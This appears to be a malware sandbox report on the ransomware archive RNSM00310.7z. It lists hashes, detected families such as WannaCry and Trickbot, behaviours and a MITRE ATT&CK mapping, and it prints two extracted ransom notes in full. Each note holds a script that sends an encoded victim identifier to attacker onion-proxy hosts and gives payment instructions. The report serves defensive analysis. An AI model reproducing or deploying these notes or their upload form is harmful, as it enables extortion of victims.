General
-
Target
RNSM00310.7z
-
Size
7.1MB
-
Sample
241112-ytvbkatkcm
-
MD5
c4343de80cf5b87860583ce70b74366b
-
SHA1
26c27c01db7260325fb02d5f1247d1ac8e200e45
-
SHA256
a30d59af60ec2211948064f267544b37edddad284ce86c64120fb6ae545285cf
-
SHA512
9564f0820f845a3ff578f362ae50909b4f87ea0c141b65c95727068361b29f851c4a218b2eb477df19d9d8d998dc44c2756e243d206ddc5490074986a563f9b0
-
SSDEEP
98304:uxi0fsp+sGzfyfoEdRKcAhCwN2HiN8/2dmAk1NSkGCFYLwKNtjNWemY/Go0TZLl9:uTf4KBhCLuqMmAkBkNMv/oKd9z5
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\[HOW_TO_DECRYPT_FILES].html
Ransom Note
<html>
<head>
<title>How can I recover my files?</title>
<style>
html, body {
font-family: lucida sans,tahoma,aerial,serif;
font-size: 14px;
overflow-x: hidden;
background-color: #fff;
padding-left: 1rem;
}
div.box {
border: 1px dotted #212121;
padding: 0.4rem;
display: block;
margin-top: 0.5rem;
margin-bottom: 0.5rem;
}
input[type=submit] {
border: none;
padding: 0.1rem 0.7rem 0.1rem 0.7rem;
background-color: #303f9f;
color: #fff;
}
input[type=submit]:hover {
background-color: #212121;
}
a {
color: #212121;
text-decoration: none;
font-weight: bold;
}
a:hover {
color: #3f51b5;
text-decoration: underline;
}
</style>
</head>
<body onload="submit_form()">
<div style="margin: auto; max-width: 750px; padding: .5rem 1.5rem .5rem 1.5rem;">
<h3>What happened to my files?</h3>
<p>
All of your important files were encrypted using a combination of <a rel="noreferrer" href="https://en.wikipedia.org/wiki/Public-key_cryptography">RSA-2048</a> and <a rel="noreferrer" href="https://en.wikipedia.org/wiki/Advanced_Encryption_Standard">AES-256</a>.
</p>
<h3>What does this mean?</h3>
<p>
This means that your files were modified in a way that makes working with them impossible, unless you have the keys to decrypt them.
</p>
<h3>Is it possible to recover my files?</h3>
<p>
Yes, it possible to get your files back, you'll need a special program (decryptor) and the private key of the key pair used to encrypt them.
</p>
<h3>How can I get the decryptor and the private key?</h3>
<p>
First, you'll need to synchronize your computer with our site, you can do this by clicking the button "Upload the KEY file". You can also manually upload the synchronization file <span style="border: 1px dotted #212121;padding: 0.1rem 0.3rem 0.1rem 0.3rem;">C:\Users\Public\Desktop\IHCUXUI</span> by visiting any of the links below.
<span style="display: block; font-size: 0.8rem;">*This file contains information to identify your computer and the keys used to encrypt your files. However, those keys are encrypted and only our server can decrypt them.</span>
</p>
<p>
After you've synchronized your computer with our server, you'll just need to follow the instructions there on how to pay for the decryption of your files.
</p>
<div style="text-align: center;padding-top: 0.5rem; padding-bottom: 0.5rem;">
<form id="infection_form" action="http://lockerrwhuaf2jjx.onion.sx" method="POST">
<input type="hidden" name="infection" value="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">
<noscript><span style="color: red; font-weight: bold;">Javascript is disabled! You must click the button below or manually upload the KEY file.</span></noscript>
<input type="submit" value="Upload the KEY file">
</form>
</div>
<div class="box">
<p>
Instructions to install Tor Browser (recommended).
</p>
<hr>
<ol>
<li>Download the Tor Browser Bundle here: <a rel="noreferrer" href="https://www.torproject.org/download/download-easy.html.en#windows">https://www.torproject.org</a>.</li>
<li>Execute the file you downloaded to extract the Tor Browser into a folder on your computer.</li>
<li>Then simply open the folder and click on "Start Tor Browser".</li>
<li>Copy and paste the onion address into the address bar:<br><br><span style="border: 1px dotted #212121;padding: 0.15rem 0.3rem 0.15rem 0.3rem;">http://lockerrwhuaf2jjx.onion/UPNECVIU_4DE097BFEB504D1C6522DF69/</span></li>
</ol>
</div>
<div class="box">
<p style="text-align: center; color: red;">
Although it is not recommended to use web proxies to access the website, you can use the links below with a normal browser to access your page. Just remember to use the Tor Browser whenever making a payment.
WARNING: The links below do not belong to us, they all go through someone else's server and should be avoided whenever possible.
</p>
<ol>
<li><a rel="noreferrer" href="http://lockerrwhuaf2jjx.onion.sx/UPNECVIU_4DE097BFEB504D1C6522DF69/">http://lockerrwhuaf2jjx.onion.sx/UPNECVIU_4DE097BFEB504D1C6522DF69/</a></li>
<li><a rel="noreferrer" href="http://lockerrwhuaf2jjx.onion.link/UPNECVIU_4DE097BFEB504D1C6522DF69/">http://lockerrwhuaf2jjx.onion.link/UPNECVIU_4DE097BFEB504D1C6522DF69/</a></li>
<li><a rel="noreferrer" href="https://lockerrwhuaf2jjx.onion.rip/UPNECVIU_4DE097BFEB504D1C6522DF69/">https://lockerrwhuaf2jjx.onion.rip/UPNECVIU_4DE097BFEB504D1C6522DF69/</a></li>
<li><a rel="noreferrer" href="https://lockerrwhuaf2jjx.onion.to/UPNECVIU_4DE097BFEB504D1C6522DF69/">https://lockerrwhuaf2jjx.onion.to/UPNECVIU_4DE097BFEB504D1C6522DF69/</a></li>
</ol>
</div>
</div>
</body>
<script>
function submit_form() {
if (confirm('Do you want to synchronize your computer now?')) {
document.infection_form.submit();
}
}
</script>
</html>
Extracted
Path
C:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\[HOW_TO_DECRYPT_FILES].html
Ransom Note
<html>
<head>
<title>How can I recover my files ?</title>
<style>
html, body {
font-family: lucida sans,tahoma,aerial,serif;
font-size: 14px;
overflow-x: hidden;
background-color: #fff;
padding-left: 1rem;
}
div.box {
border: 1px dotted #212121;
padding: 0.4rem;
display: block;
margin-top: 0.5rem;
margin-bottom: 0.5rem;
}
input[type=submit] {
border: none;
padding: 0.1rem 0.7rem 0.1rem 0.7rem;
background-color: #303f9f;
color: #fff;
}
input[type=submit]:hover {
background-color: #212121;
}
a {
color: #212121;
text-decoration: none;
font-weight: bold;
}
a:hover {
color: #3f51b5;
text-decoration: underline;
}
</style>
</head>
<body onload="submit_form()">
<div style="margin: auto; max-width: 750px; padding: .5rem 1.5rem .5rem 1.5rem;">
<h3>What happened to my files ?</h3>
<p>
All of your important files were encrypted using a combination of <a rel="noreferrer" href="https://en.wikipedia.org/wiki/Public-key_cryptography">RSA-2048</a> and <a rel="noreferrer" href="https://en.wikipedia.org/wiki/Advanced_Encryption_Standard">AES-256</a>.
</p>
<h3>What does this mean ?</h3>
<p>
This means that your files were modified in a way that makes working with them impossible, unless you have the keys to decrypt them.
</p>
<h3>Is it possible to recover my files ?</h3>
<p>
Yes, it possible to get your files back, you'll need a special program (decryptor) and the private key of the key pair used to encrypt them.
</p>
<h3>How can I get the decryptor and the private key ?</h3>
<p>
First, you'll need to synchronize your machine with our site, you can do this by clicking the button "Upload the KEY file". You can also manually upload the synchronization file <span style="border: 1px dotted #212121;padding: 0.1rem 0.3rem 0.1rem 0.3rem;">C:\Users\Public\Desktop\IHCUXUI</span> by visiting any of the links below.
<span style="display: block; font-size: 0.8rem;">*This file contains information to identify your machine and the keys used to encrypt your files. However, those keys are encrypted and only our server can decrypt them.</span>
</p>
<p>
After you've synchronized your machine with our server, you'll just need to follow the instructions there on how to pay for the decryption of your files.
</p>
<div style="text-align: center;padding-top: 0.5rem; padding-bottom: 0.5rem;">
<form id="infection_form" action="https://lockerrwhuaf2jjx.onion.rip" method="POST">
<input type="hidden" name="infection" value="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">
<noscript><span style="color: red; font-weight: bold;">Javascript is disabled! You must click the button below or manually upload the KEY file.</span></noscript>
<input type="submit" value="Upload the KEY file">
</form>
</div>
<div class="box">
<ol>
<li><a rel="noreferrer" href="http://lockerrwhuaf2jjx.onion.link/UPNECVIU_4DE097BFEB504D1C6522DF69/">http://lockerrwhuaf2jjx.onion.link/UPNECVIU_4DE097BFEB504D1C6522DF69/</a></li>
<li><a rel="noreferrer" href="https://lockerrwhuaf2jjx.onion.gq/UPNECVIU_4DE097BFEB504D1C6522DF69/">https://lockerrwhuaf2jjx.onion.gq/UPNECVIU_4DE097BFEB504D1C6522DF69/</a></li>
<li><a rel="noreferrer" href="https://lockerrwhuaf2jjx.onion.to/UPNECVIU_4DE097BFEB504D1C6522DF69/">https://lockerrwhuaf2jjx.onion.to/UPNECVIU_4DE097BFEB504D1C6522DF69/</a></li>
<li><a rel="noreferrer" href="https://lockerrwhuaf2jjx.onion.top/UPNECVIU_4DE097BFEB504D1C6522DF69/">https://lockerrwhuaf2jjx.onion.top/UPNECVIU_4DE097BFEB504D1C6522DF69/</a></li>
</ol>
</div>
<div class="box">
<p>
If you cannot access the site from any of the addresses above, you can follow the instructions below to access the site using the Tor Browser.
</p>
<hr>
<ol>
<li>Download the Tor Browser Bundle here: <a rel="noreferrer" href="https://www.torproject.org/download/download-easy.html.en#windows">https://www.torproject.org</a>.</li>
<li>Execute the file you downloaded to extract the Tor Browser into a folder on your computer.</li>
<li>Then simply open the folder and click on "Start Tor Browser".</li>
<li>Copy and paste the onion address into the address bar: <span style="border: 1px dotted #212121;padding: 0.15rem 0.3rem 0.15rem 0.3rem;">http://lockerrwhuaf2jjx.onion/UPNECVIU_4DE097BFEB504D1C6522DF69/</span></li>
</ol>
</div>
</div>
</body>
<script>
function submit_form() {
if (confirm('Do you want the KEY file to be automatically uploaded ?')) {
document.infection_form.submit();
}
}
</script>
</html>
Targets
-
-
Target
RNSM00310.7z
-
Size
7.1MB
-
MD5
c4343de80cf5b87860583ce70b74366b
-
SHA1
26c27c01db7260325fb02d5f1247d1ac8e200e45
-
SHA256
a30d59af60ec2211948064f267544b37edddad284ce86c64120fb6ae545285cf
-
SHA512
9564f0820f845a3ff578f362ae50909b4f87ea0c141b65c95727068361b29f851c4a218b2eb477df19d9d8d998dc44c2756e243d206ddc5490074986a563f9b0
-
SSDEEP
98304:uxi0fsp+sGzfyfoEdRKcAhCwN2HiN8/2dmAk1NSkGCFYLwKNtjNWemY/Go0TZLl9:uTf4KBhCLuqMmAkBkNMv/oKd9z5
Score10/10-
BetaBot
Beta Bot is a Trojan that infects computers and disables Antivirus.
-
Betabot family
-
Gozi
Gozi is a well-known and widely distributed banking trojan.
-
Gozi family
-
Modifies firewall policy service
-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-
Trickbot
Developed in 2016, TrickBot is one of the more recent banking Trojans.
-
Trickbot family
-
Trickbot x86 loader
Detected Trickbot's x86 loader that unpacks the x86 payload.
-
Wannacry
WannaCry is a ransomware cryptoworm.
-
Wannacry family
-
Windows security bypass
-
Contacts a large (2258) amount of remote hosts
This may indicate a network scan to discover remotely running services.
-
Deletes shadow copies
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit
-
Command and Scripting Interpreter: PowerShell
Run Powershell and hide display window.
-
Event Triggered Execution: Image File Execution Options Injection
-
Looks for VMWare Tools registry key
-
Looks for VMWare services registry key.
-
Checks BIOS information in registry
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE
-
Loads dropped DLL
-
Reads user/profile data of web browsers
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unexpected DNS network traffic destination
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
-
Adds Run key to start application
-
Checks whether UAC is enabled
-
Enumerates connected drives
Attempts to read the root path of hard drives other than the default C: drive.
-
Indicator Removal: Clear Persistence
remove IFEO.
-
Looks up external IP address via web service
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Maps connected drives based on registry
Disk information is often read in order to detect sandboxing environments.
-
Network Share Discovery
Attempt to gather information on host network.
-
AutoIT Executable
AutoIT scripts compiled to PE executables.
-
Drops file in System32 directory
-
Sets desktop wallpaper using registry
-
Suspicious use of NtSetInformationThreadHideFromDebugger
-
Suspicious use of SetThreadContext
-
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Image File Execution Options Injection
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Image File Execution Options Injection
1Defense Evasion
Direct Volume Access
1Impair Defenses
2Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
3Clear Persistence
1File Deletion
2Modify Registry
8Subvert Trust Controls
1Install Root Certificate
1Virtualization/Sandbox Evasion
2Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Discovery
Network Service Discovery
1Network Share Discovery
1Peripheral Device Discovery
2Query Registry
8Remote System Discovery
1System Information Discovery
10System Location Discovery
1System Language Discovery
1Virtualization/Sandbox Evasion
2